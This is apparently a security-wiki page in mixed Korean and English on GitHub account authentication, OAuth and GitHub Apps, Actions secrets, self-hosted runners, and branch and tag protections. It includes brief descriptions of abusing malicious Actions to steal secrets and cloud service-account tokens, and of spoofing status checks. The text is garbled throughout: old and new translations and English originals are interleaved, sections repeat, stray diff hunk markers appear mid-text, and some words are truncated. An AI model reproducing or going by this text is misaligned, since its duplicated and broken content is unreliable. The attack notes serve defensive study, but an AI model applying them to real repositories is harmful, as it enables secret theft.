Github는 계정에 인증하고 사용자를 대신 작업을 수행하기 위한 여러 방법을 제공합니다.
### 웹 액세스
### Web Access
**github.com**에 접근하면 **username과 password**(및 경우에 따라 **2FA**)로 로그인할 수 있습니다.
**github.com**에 접근할 때 **사용자 이름과 비밀번호**(및 경우에 따라 **2FA**)로 로그인할 수 있습니다.
### **SSH Keys**
계정에 하나 이상의 공개 키를 구성하여 관련 **private key가 사용자를 대신해 작업을 수행하도록** 허용할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
계정에 하나 이상의 공개키(public keys)를 구성하여 관련 **개인키(private key)가 사용자를 대신해 작업을 수행**할 수 있도록 할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
이 키들로는 사용자를 **가로채어 가장할 수는 없지만**, 서명 없는 커밋을 보냈을**발견될 수 있습니다**. [vigilant mode에 대해 더 알아보기](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
이 키들로는 **사용자를 사칭(impersonate)**할 수는 없지만, 서명 없는 커밋을 보 때 **발견(discover)**될 수 있으므로 사용하지 않으면 문제가 될 수 있습니다. [vigilant mode에 대해 더 알아보기](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
애플리케이션이 귀하의 계정 접근하도록 **personal access token**을 생성할 수 있습니다. personal access token을 생성할 때 **사용자는 토큰이 가질 권한(permissions)을 명시해야 합니다**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
애플리케이션 계정 접근을 허용하기 위해 personal access token을 생성할 수 있습니다. 토큰을 생성할 때 **사용자**는 토큰이 가질 **권한(permissions)**을 **명시해야** 합니다. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth applications는 **귀하의 일부 github 정보에 접근하거나 귀하를 가장하여** 특정 작업을 수행하기 위 권한을 요청할 수 있습니다. 흔한 예는 일부 플랫폼에서 찾을 수 있는 **login with github 버튼**니다.
Oauth applications는 **일부 github 정보에 접근하거나 사용자를 사칭해(impersonate) 작업을 수행**하기 위 권한을 요청할 수 있습니다. 흔한 예여러 플랫폼에서 찾을 수 있는 **login with github 버튼**이 있습니다.
-신의 **Oauth applications** [https://github.com/settings/developers](https://github.com/settings/developers)에서 **생성**할 수 있습니다.
- 귀하의 계정에 접근 권한이 있는 모든 **Oauth applications**는 [https://github.com/settings/applications](https://github.com/settings/applications)에서 볼 수 있습니다.
- Oauth Apps가 요청할 수 있는 **scopes**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 확인할 수 있습니다.
- 조직의 서드파티 애플리케이션 접근은 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_에서 볼 수 있습니다.
- **Oauth applications** [https://github.com/settings/developers](https://github.com/settings/developers) 에서 **생성**할 수 있습니다.
- 계정에 접근 권한이 있는 모든 **Oauth applications**는 [https://github.com/settings/applications](https://github.com/settings/applications) 에서 볼 수 있습니다.
- Oauth Apps가 요청할 수 있는 **scopes**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 에서 확인할 수 있습니다.
- 조직에서의 서드파티 애플리케이션 접근은 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ 에서 볼 수 있습니다.
몇 가지 **보안 권사항**:
몇 가지 **보안 권사항**:
- **OAuth App**은 항상 지정된 scopes에만 접근하면서 **인증된 GitHub 사용자로서 GitHub 전반에서 행동해야** 합니다(예: 사용자 알림 제공 ).
- OAuth App은 인증된 사용자를 위한 "Login with GitHub" 활성화하여 **신원 제공자(identity provider)**로 사용될 수 있습니다.
- **단일 리포지토리에서만 동작하게 하려면 OAuth App을 만들지 마세요.** `repo` OAuth scope OAuth Apps는 **인증된 사용자의 모든 리포지토리(all of the authenticated user's repositories)**에 대해 작할 수 있습니다.
- **팀이나 회사용 애플리케이션으로 OAuth App을 만들지 마세요.** OAuth Apps는 **단일 사용자로 인증**되므로, 한 사람이 회사용 OAuth App을 만들고 그 사람이 회사를 떠나면 다른 사람이 접근할 수 없게 됩니다.
- **추가 정보**는 [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)에서 확인하세요.
- OAuth App은 항상 **지정된 scopes에 대해서만**, 인증된 GitHub 사용자로서 GitHub 전반에서 동작해야 합니다(예: 사용자 알림 제공 ).
- OAuth App은 "Login with GitHub" 활성화하여 인증된 사용자의 identity provider로 사용될 수 있습니다.
- **단일 저장소에만 작동하도록** 애플리케이션을 만들려면 OAuth App을 사용하지 마세요. `repo` OAuth scope를 사용하면 OAuth Apps는 **인증된 사용자의 모든 저장소에 대해 작할 수 있습니다**.
- **회사나 팀용 애플리케이션으로 OAuth App을 만들지 마세요.** OAuth Apps는 **단일 사용자**로 인증되므로, 한 사람이 회사용으로 OAuth App을 만들고 회사를 떠나면 다른 사람이 접근할 수 없게 됩니다.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github applications는 특정 리소스에 대해 **귀하의 github 정보에 접근하거나 귀하를 가장하여** 특정 작업을 수행하 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 리포지토리를 지정해야 합니다.
Github applications는 특정 리소스에 대해 **github 정보에 접근하거나 사용자를 사칭해** 특정 작업을 수행하도록 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 저장소를 명시해야 합니다.
- GitHub App을 설치하려면 **organization owner이거나 리포지토리에 대한 admin 권한**이 있어야 합니다.
- GitHub App은 **개인 계정(personal account) 또는 organization에 연결되어야** 합니다.
-신의 Github application은 [https://github.com/settings/apps](https://github.com/settings/apps)에서 생성할 수 있습니다.
- 귀하의 계정에 접근 권한이 있는 모든 **Github applications**는 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 볼 수 있습니다.
- 다음은 **Github Applications에 대한 API Endpoints**니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱 권한에 따라 일부 엔드포인트에 접근할 수 있습니다.
- 조직에 설치된 앱은 _https://github.com/organizations/\<org_name>/settings/installations_에서 볼 수 있습니다.
- GitHub App을 설치하려면 **organization owner이거나 저장소에 대한 admin 권한**이 있어야 합니다.
- GitHub App은 **개인 계정 또는 조직**에 연결되어야 합니다.
- Github application은 [https://github.com/settings/apps](https://github.com/settings/apps) 에서 생성할 수 있습니다.
- 계정에 접근 권한이 있는 모든 **Github applications**는 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 에서 볼 수 있습니다.
- **Github Applications API Endpoints**는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱 권한에 따라 일부 엔드포인트에 접근할 수 있습니다.
- 조직에 설치된 앱은 _https://github.com/organizations/\<org_name>/settings/installations_ 에서 볼 수 있습니다.
몇 가지 보안 권사항:
몇 가지 보안 권사항:
- GitHub App은 **사용자와 독립적으로(action independent of a user)** 동작해야 합니다(앱이 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하지 않는 한). user-to-server 접근 토큰을 안전하게 유지하려면, 8시간 후 만료되는 access token과 새 access token으로 교환할 수 있는 refresh token을 사용하는 것이 좋습니다. 자세한 내용은 "Refreshing user-to-server access tokens"를 참조하세요.
- GitHub App이 **특정 리포지토리**와 통합되었는지 확인하세요.
- GitHub App은 **개인 계정 또는 organization에 연결되어야** 합니다.
- GitHub App이 사용자가 할 수 있는 모든 것을 알거나 수행할 것으로 기대하지 마세요.
- **"Login with GitHub" 서비스만 필요하다면 GitHub App을 사용하지 마세요.** 다만 GitHub App은 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)를 사용하여 사용자를 로그인시키고 추가 작업을 할 수 있습니다.
- GitHub App은 **사용자처럼만 행동하려는 목적**이라면 만들지 마세요.
- 앱을 GitHub Actions와 함께 사용하고 workflow 파일을 수정하려면 `workflow` scope를 포함한 OAuth 토큰으로 사용자를 대해 인증해야 합니다. 사용자는 해당 workflow 파일을 포함한 리포지토리에 대해 admin 또는 write 권한을 가져야 합니다. 자세한 내용은 "Understanding scopes for OAuth apps"를 참조하세요.
- **추가 정보**는 [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)에서 확인하세요.
- GitHub App은 **사용자와 독립적으로 행동**해야 합니다(앱이 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하지 않는 한). user-to-server 접근 토큰을 보다 안전하게 유지하려면, 만료되는(8시간 후) access tokens과 새 access token으로 교환 가능한 refresh token을 사용할 수 있습니다. 자세한 내용은 "Refreshing user-to-server access tokens"를 참조하세요.
- GitHub App이 **특정 저장소**와 통합되었는지 확인하세요.
- GitHub App은 **개인 계정 또는 조직**에 연결되어야 합니다.
- GitHub App이 사용자처럼 모든 것을 알고 모든 작업을 수행할 것이라고 기대하지 마세요.
- **"Login with GitHub" 서비스만 필요하다면 GitHub App을 사용하지 마세요.** 다만 GitHub App은 사용자 로그인과 다른 작업을 동시에 수행하기 위해 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)를 사용할 수 있습니다.
- GitHub 사용자로서만 행동하고 그 사용자가 할 수 있는 모든 것을 하려면 GitHub App을 만들지 마세요.
- 앱을 GitHub Actions와 함께 사용하고 workflow 파일을 수정하려면 `workflow` scope를 포함한 OAuth 토큰으로 사용자를 대해 인증해야 합니다. 사용자는 해당 workflow 파일을 포함하는 저장소에 대해 admin 또는 write 권한을 가져야 합니다. 자세한 내용은 "Understanding scopes for OAuth apps"를 참조하세요.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
**github에 인증하는 방은 아니지만**, **악의적인 Github Action**은 **무단으로 github에 접근**할 수 있고 Action에 부여된 **권한(privileges)에 따라 여러 가지 다른 공격**이 가능할 수 있습니다. 아래에서 더 많은 정보를 확인하세요.
기능**github에 인증하는 방은 아니지만**, **악의적인** Github Action은 **unauthorised access to github**를 얻을 수 있고, Action에 부여된 **권한(privileges)**에 따라 **여러 종류의 공격**이 가능할 수 있습니다. 아래에서 더 자세히 설명합니다.
## Git Actions
Git actions는 **이벤트가 발생할 때 코드 실행을 자동화**할 수 있게 합니다. 보통 실행되는 코드는 **레포지토리의 코드와 관련된 작업**(예: 도커 컨테이너 빌드 또는 PR에 비밀이 포함되지 않았는지 검사)입니다.
Git actions는 **이벤트가 발생할 때 코드를 자동으로 실행**하게 합니다. 보통 실행되는 코드는 **저장소의 코드와 관련된 작업**(예: 도커 컨테이너 빌드 또는 PR에 비밀이 포함되어 있지 않은지 확인)입니다.
### 구성(Configuration)
### Configuration
_https://github.com/organizations/\<org_name>/settings/actions_에서 조직의 **github actions 구성**을 확인할 수 있습니다.
_https://github.com/organizations/\<org_name>/settings/actions_ 에서 조직의 **github actions 설정**을 확인할 수 있습니다.
Github actions의 사용을 완전히 금지하거나, **모든 github actions를 허용**하거나, 특정 actions만 허용하도록 설정할 수 있습니다.
github actions의 사용을 완전히 금지하거나, **모든 github actions를 허용**하거나, 특정 액션만 허용하도록 설정할 수 있습니다.
또한 **누가 Github Action을 실행하기 위해 승인이 필요한지**, 그리고 실행 시 Github Action **GITHUB_TOKEN 권한**을 구성할 수 있습니다.
또한 **누가 Github Action을 실행하려면 승인해야 하는지**와 Action 실행 시 **GITHUB_TOKEN 권한**을 구성할 수 있습니다.
### Git Secrets
Github Action은 보통 github 또는 서드파티 애플리케이션과 상호작용하기 위해 어떤 형태의 secrets 필요합니다. 레포지토리**평문으로 두지 않기 위해**, github은 이를 **Secrets**로 저장할 수 있게 합니다.
Github Action은 보통 github 또는 서드파티 애플리케이션과 상호작용하기 위해 비밀(secrets)이 필요합니다. 저장소**평문으로 두는 것을 피하기 위해**, github은 이를 **Secrets**로 저장할 수 있게 합니다.
러한 secrets는 **레포지토리별 또는 조직 전체** 구성할 수 있습니다. 그런 다음 Action이 secret에 접근할 수 있도록 선언하려면 다음과 같이 해야 합니다:
비밀들은 **저장소 단위 또는 조직 전체**에 대해 구성할 수 있습니다. 그런 다음 Action이 비밀에 접근하려면 다음과 같이 선언해야 합니다:
```yaml
steps:
- name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Bash 사용 예 <a href="#example-using-bash" id="example-using-bash"></a>
#### Bash 사용 예 <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
@@ -168,46 +168,68 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **선언된 Github Actions에서만 접근할 수 있습니다.**
> Secrets **선언된 Github Actions에서만 액세스할 수 있습니다.**
>
> repo나 조직에 한 번 구성되면 **GitHub 사용자는 더 이상 이를 액세스할 수 없고**, 단지 **변경만** 할 수 있습니다.
> 레포나 조직에 설정되면 **github의 사용자들은 더 이상 접근할 수 없습니다**, 단지 **변경만 할 수 있습니다**.
따라서, **github secrets를 훔치는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 경우뿐입니다** (그 시나리오에서는 해당 Action에 선언된 secrets만 접근할 수 있습니다).
따라서, **github secrets를 훔칠 수 있는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 것**입니다 (그 경우에는 Action에 선언된 secrets만 접근할 수 있습니다).
### Git Environments
Github는 **environments**를 생성하여 **secrets**를 저장할 수 있게 합니다. 그런 다음, 환경 내의 secrets에 대한 접근 권한을 github action에 다음과 같이 부여할 수 있습니다:
Github는 **environments**를 생성 **secrets**를 저장할 수 있게 합니다. 그런 다음, github action에 환경 내의 secrets에 대한 액세스를 다음과 같이 부여할 수 있습니다:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
환경(environment)을 다음과 같이 구성할 수 있습니다: 기본값인 **all branches**(모든 브랜치), **only protected** branches(보호된 브랜치만) 또는 접근 가능한 브랜치를 **specify**(지정)할 수 있습니다.\
추가로, environment 보호에는 다음이 포함됩니다:
- **Required reviewers**: 환경을 대상으로 하는 gate 작업을 승인될 때까지 차단합니다. 승인 자체에서 적절한 사후 검토(4-eyes 원칙)를 강제하려면 **Prevent self-review**를 활성화하세요.
- **Deployment branches and tags**: 어떤 브랜치/태그가 environment에 배포할 수 있는지 제한합니다. 특정 브랜치/태그를 선택하고 해당 브랜치들이 보호(protected)되어 있는지 확인하는 것이 좋습니다. 참고: "Protected branches only" 옵션은 classic branch protections에 적용되며 rulesets를 사용하는 경우 기대한 대로 동작하지 않을 수 있습니다.
- **Wait timer**: 배포를 지연시킬 수 있는 구성 가능한 대기 시간을 설정합니다.
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.
또한 **environment**를 사용하여 **action**을 **실행(executing)**하기 전에 필요한 **리뷰 수(number of required reviews)**를 설정하거나 배포가 진행되기 전에 일정 **시간(wait)**을 두도록 설정할 수 있습니다.
환경은 **모든 브랜치**(기본), **보호된 브랜치만**, 또는 **접근 가능한 브랜치를 지정**하도록 구성할 수 있습니다.\
또한 환경 보호에는 다음이 포함됩니다:
- **Required reviewers**: 환경을 대상으로 하는 job들을 승인될 때까지 차단합니다. 승인 과정에서 적절한 이중 승인(four‑eyes) 원칙을 강제하려면 **Prevent self-review**를 활성화하세요.
- **Deployment branches and tags**: 어떤 브랜치/태그가 환경에 배포할 수 있는지 제한합니다. 특정 브랜치/태그를 선택하고 해당 브랜치들을 보호 상태로 유지하는 것이 좋습니다. 참고: "Protected branches only" 옵션은 클래식 브랜치 보호에 적용되며 rulesets를 사용하는 경우 예상대로 동작하지 않을 수 있습니다.
- **Wait timer**: 배포를 구성 가능한 시간만큼 지연시킵니다.
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
또한 환경을 사용하는 **action**을 **실행하기 전** 필요한 **검토 수**를 설정하거나 배포 진행을 허용하기 전에 일정 **시간을 대기**하도록 설정할 수 있습니다.
### Git Action Runner
A Github Action**github environment 내부에서 실행될** 수 있거나, 사용자가 구성한 **third party infrastructure**에서 실행될 수 있습니다.
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
여러 조직은 비용상 이유로 Github Actions **third party infrastructure**에서 실행하도록 허용합니다.
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
조직의 **self-hosted runners**를 나열하려면 _https://github.com/organizations/\<org_name>/settings/actions/runners_ 를 확인하세요.
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
어떤 **Github Actions가 non-github infrastructure에서 실행되는지** 찾는 방법은 Github Action 구성 yaml에서 `runs-on: self-hosted`를 검색하는 것입니다.
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
한 조직의 Github Action을 다른 조직의 self hosted box 안에서 실행하는 것은 **불가능**합니다. Runner를 구성할 때 해당 Runner가 어느 조직에 속하는지 알기 위해 **unique token**이 생성되기 때문입니다.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
만약 custom **Github Runner AWS GCP 같은 머신 내부에 구성되어 있다면**, Action은 **metadata endpoint**에 접근할 수 있고 머신이 실행 중인 **SA token**을 탈취할 수 있습니다.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
### Git Action Runner
Github Action은 **github 환경 내부**에서 실행되거나 사용자가 구성한 **제3자 인프라**에서 실행될 수 있습니다.
몇몇 조직은 비용 절감 등의 이유로 Github Actions를 **제3자 인프라**에서 실행하도록 허용합니다.
조직의 **self-hosted runners** 목록은 _https://github.com/organizations/\<org_name>/settings/actions/runners_에서 확인할 수 있습니다.
어떤 **Github Actions가 non-github 인프라에서 실행되는지** 확인하려면 Github Action 설정 YAML에서 `runs-on: self-hosted`를 검색하면 됩니다.
다른 조직의 self-hosted 박스에서 한 조직의 Github Action을 실행하는 것은 불가능합니다. 러너가 어느 조직에 속하는지 알기 위해 구성 시 **러너용 고유 토큰(unique token)**이 생성되기 때문입니다.
예를 들어 맞춤 **Github Runner가 AWS 또는 GCP 내부 머신에 구성된 경우**, Action은 **metadata endpoint**에 접근할 수 있고 해당 머신이 사용 중인 서비스 계정의 토큰을 **탈취**할 수 있습니다.
### Git Action Compromise
만약 모든 액션(또는 악성 action)이 허용된다면 사용자는 **malicious Github Action**을 사용하여 실행되는 **container**를 **compromise**할 수 있습니다.
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
> [!CAUTION]
> A **malicious Github Action** run could be **abused** by the attacker to:
@@ -216,43 +238,92 @@ A Github Action은 **github environment 내부에서 실행될** 수 있거나,
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
### Git Action Compromise
모든 Action이 허용되어 있거나(또는 악성 Action이 포함된 경우) 사용자가 **악의적인 Github Action**을 실행하면 해당 Action이 실행되는 **컨테이너**를 **침해**할 수 있습니다.
> [!CAUTION]
> **악성 Github Action** 실행은 공격자에 의해 다음과 같이 악용될 수 있습니다:
>
> - Action이 접근할 수 있는 모든 secrets를 **탈취**
> - Action이 **제3자 인프라** 내부에서 실행되어 머신을 실행하는 SA token에 접근할 수 있는 경우 **수평 이동(lateral movement)** 수행(대개 metadata service를 통해)
> - workflow에서 사용되는 토큰을 **악용**하여 Action이 실행되는 리포지토리의 코드를 **탈취하거나 수정**함
## Branch Protections
Branch protections는 사용자에게 저장소(repository)에 대한 완전한 권한을 부여하지 않도록 설계되었습니다. 목표는 특정 브랜치에 코드를 쓰기 전에 여러 보호 수단을 적용하는 것입니다.
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
해당 저장소의 **branch protections**는 _https://github.com/\<orgname>/\<reponame>/settings/branches_ 에서 확인할 수 있습니다.
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> 조직 수준에서 branch protection을 설정하는 것은 **불가능**합니다. 따라서 모든 보호 규칙은 각 repo에 대해 선언되어야 합니다.
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
다음과 같은 다양한 보호를 브랜치(예: master)에 적용할 수 있습니다:
## Branch Protections
- 병합 전에 **PR을 요구(require a PR before merging)**할 수 있습니다(즉, 브랜치에 직접 코드를 병합할 수 없음). 이를 선택하면 다른 보호 옵션들을 함께 적용할 수 있습니다.
- **Require a number of approvals**. 일반적으로 PR 승인에 대해 1명 또는 2명의 추가 승인을 요구하여 단일 사용자가 직접 코드를 병합하지 못하게 합니다.
- **Dismiss approvals when new commits are pushed**. 그렇지 않으면 사용자가 정상적인 코드를 승인한 뒤 악성 코드를 추가하고 병합할 수 있습니다.
- **Require approval of the most recent reviewable push**. 승인이 난 이후의 새로운 커밋(다른 협업자의 푸시 포함)이 있을 경우 리뷰를 재요청하여 공격자가 승인 이후 변경을 푸시하고 병합하는 것을 방지합니다.
- **Require reviews from Code Owners**. 적어도 1명의 코드 오너가 PR을 승인해야 합니다(따라서 "무작위" 사용자가 승인할 수 없음).
- **Restrict who can dismiss pull request reviews.** 풀 리퀘스트 리뷰를 취소할 수 있는 사람 또는 팀을 지정할 수 있습니다.
- **Allow specified actors to bypass pull request requirements**. 이 사용자들은 이전 제한을 우회할 수 있습니다.
- **Require status checks to pass before merging.** 일부 체크는 커밋을 병합하기 전에 통과되어야 합니다(예: SAST 결과를 보고하는 GitHub App). 팁: 필요한 체크를 특정 GitHub App에 바인딩하세요; 그렇지 않으면 어떤 앱이든 Checks API를 통해 체크를 스푸핑할 수 있고, 많은 봇이 skip 지시자(예: "@bot-name skip")를 허용합니다.
- **Require conversation resolution before merging**. PR을 병합하기 전에 코드에 대한 모든 코멘트가 해결되어야 합니다.
- **Require signed commits**. 커밋은 서명되어야 합니다.
- **Require linear history.** 일치하는 브랜치에 merge commits가 푸시되는 것을 방지합니다.
- **Include administrators**. 이 옵션을 설정하지 않으면 관리자는 제한을 우회할 수 있습니다.
- **Restrict who can push to matching branches**. 누가 해당 브랜치로 푸시할 수 있는지 제한합니다.
브랜치 보호(Branch protections)는 사용자에게 리포지토리에 대한 완전한 통제권을 주지 않도록 설계되었습니다. 목표는 특정 브랜치에 코드를 쓰기 전에 여러 보호 수단을 적용하는 것입니다.
리포지토리의 **branch protections**는 _https://github.com/\<orgname>/\<reponame>/settings/branches_에서 확인할 수 있습니다.
> [!NOTE]
> 보시다시피, 설령 어떤 사용자의 자격증명(credentials)을 획득했다고 해도, **레포지토리 보호 설정으로 인해 master 같은 브랜치에 코드를 푸시하지 못해** CI/CD 파이프라인을 악용하는 것을 막을 수 있습니다.
> 조직 수준에서 브랜치 보호 설정하는 것은 **불가능**합니다. 따라서 모든 리포지토리에서 개별적으로 선언해야 합니다.
Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
브랜치(예: master)에 다양한 보호 설정을 적용할 수 있습니다:
- **병합 전에 PR 요구**: 브랜치에 직접 코드를 병합할 수 없습니다. 이 옵션을 선택하면 추가적인 보호들이 적용될 수 있습니다.
- **필요한 승인 수 요구**: 일반적으로 PR 승인에 1명 또는 2명 이상의 승인을 요구하여 단일 사용자가 직접 코드를 병합하지 못하게 합니다.
- **새 커밋이 푸시되면 승인 무효화**: 설정하지 않으면 사용자가 합법적인 코드에 승인한 뒤 악의적인 코드를 추가해 병합할 수 있습니다.
- **가장 최근의 reviewable push에 대한 승인 요구**: 승인 이후의 모든 새 커밋(다른 협력자의 푸시 포함)에 대해 재검토를 트리거하여 승인 후 변경사항을 푸시하고 병합하는 것을 방지합니다.
- **Code Owners의 리뷰 요구**: 리포지토리의 최소 1명 이상의 Code Owner가 PR을 승인해야 합니다(따라서 임의 사용자가 승인할 수 없음).
- **누가 pull request 리뷰를 취소(dismiss)할 수 있는지 제한**: 리뷰 취소가 허용된 사람이나 팀을 지정할 수 있습니다.
- **지정된 행위자가 pull request 요구사항을 우회할 수 있도록 허용**: 해당 사용자들은 이전 제한을 우회할 수 있습니다.
- **병합 전에 상태 검사(status checks) 통과 요구**: 커밋을 병합하기 전에 통과해야 하는 검사들이 있습니다(예: SAST 결과를 보고하는 GitHub App). 팁: 필수 검사를 특정 GitHub App에 바인딩하세요. 그렇지 않으면 어떤 앱이라도 Checks API를 통해 검사를 위조할 수 있고, 많은 봇은 "@bot-name skip" 같은 건너뛰기 지시를 허용합니다.
- **병합 전에 대화(conversation) 해결 요구**: 코드상의 모든 댓글이 해결되어야 PR을 병합할 수 있습니다.
- **서명된 커밋 요구**: 커밋이 서명되어야 합니다.
- **선형 히스토리 요구**: 매칭되는 브랜치에 merge commit이 푸시되는 것을 방지합니다.
- **관리자 포함**: 설정하지 않으면 관리자는 제한을 우회할 수 있습니다.
- **매칭되는 브랜치에 누가 푸시할 수 있는지 제한**: 누가 PR을 보낼 수 있는지 제한합니다.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> [!NOTE]
> 보시다시피, 사용자의 일부 자격 증명을 획득하더라도 예를 들어 CI/CD 파이프라인을 침해하기 위해 master에 코드를 푸시하는 것을 **리포지토리 보호 설정이 막을 수 있습니다**.
## Tag Protections
태그(latest, stable 등)는 기본적으로 변경 가능(mutable)합니다. 태그 업데이트에 대해 4-eyes 플로우를 강제하려면 태그를 보호하고 protections environment branch를 통해 연쇄적으로 연결하세요:
Tags (like latest, stable) are mutable by default. To enforce a foureyes flow on tag updates, protect tags and chain protections through environments and branches:
1) 태그 보호 규칙에서 **Require deployments to succeed**를 활성화하고 보호된 environment(예: prod)로의 성공적인 배포를 요구합니다.
2) 대상 environment에서 **Deployment branches and tags**를 릴리스 브랜치(예: main)로 제한하고, 선택적으로 **Required reviewers**와 **Prevent self-review**를 구성합니다.
3) 릴리스 브랜치에서 branch protections를 구성하여 **Require a pull request**를 설정하고, approvals를 1 이상으로 설정하며 **Dismiss approvals when new commits are pushed**와 **Require approval of the most recent reviewable push**를 모두 활성화합니다.
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
이 연쇄는 단일 협업자가 workflow YAML을 편집하여 릴리스를 재태그하거나 강제로 퍼블리시하는 것을 방지합니다. 배포 게이트는 workflow 외부에서 강제되기 때문입니다.
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
## Tag Protections
태그(latest, stable 등)는 기본적으로 변경 가능(mutable)합니다. 태그 업데이트에 이중 승인(four‑eyes) 흐름을 강제하려면 태그를 보호하고 환경(environment)과 브랜치를 통해 보호를 연쇄하세요:
1) 태그 보호 규칙에서 **Require deployments to succeed**를 활성화하고 보호된 환경(예: prod)으로의 성공적인 배포를 요구합니다.
2) 대상 환경에서 **Deployment branches and tags**를 릴리스 브랜치(예: main)로 제한하고, 선택적으로 **Required reviewers**를 설정하며 **Prevent self-review**를 활성화합니다.
